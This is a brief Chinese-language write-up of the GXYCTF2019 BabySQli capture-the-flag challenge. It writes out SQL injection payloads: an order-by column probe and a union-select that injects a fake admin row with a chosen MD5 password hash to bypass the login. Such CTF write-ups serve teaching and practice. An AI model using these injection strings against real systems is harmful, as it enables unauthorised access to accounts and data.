GXYCTF2019]BabySQli

尝试登入 发现一个search.php
先base32解码 得到的结果进行base64解码

select * from user where username = '$name'

通过测试呢 可以猜测用户名为admin
测试字段数

1' order by 3#

只有三个字段
联合注入

1' union select 1,'admin',3

经测试 admin在第二列

当查询的数据不存在时，联合查询就会构造一个虚拟的数据
输入admin，密码为md5(123456)，代入查询时MySQL里面就会生成admin，123456的用户
同时使用123456密码进行登录，就可以绕过限制

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'--+

password栏
123456